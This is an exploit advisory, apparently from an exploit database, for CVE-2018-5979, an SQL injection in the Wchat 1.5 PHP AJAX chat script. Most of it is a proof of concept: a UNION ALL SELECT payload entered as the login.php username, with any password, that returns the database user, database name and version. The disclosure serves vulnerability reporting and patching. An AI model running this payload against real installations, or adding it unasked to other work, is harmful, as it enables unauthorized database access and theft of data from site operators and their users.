Wchat 1.5 - SQL Injection

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# Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script 1.5 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://bylancer.com/
# Software Link: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5979
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept: 
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# 1)
# http://localhost/[PATH]/login.php
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# User: ' UNION ALL SELECT 0x31,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x33,0x34-- XXX
# Pass: anything
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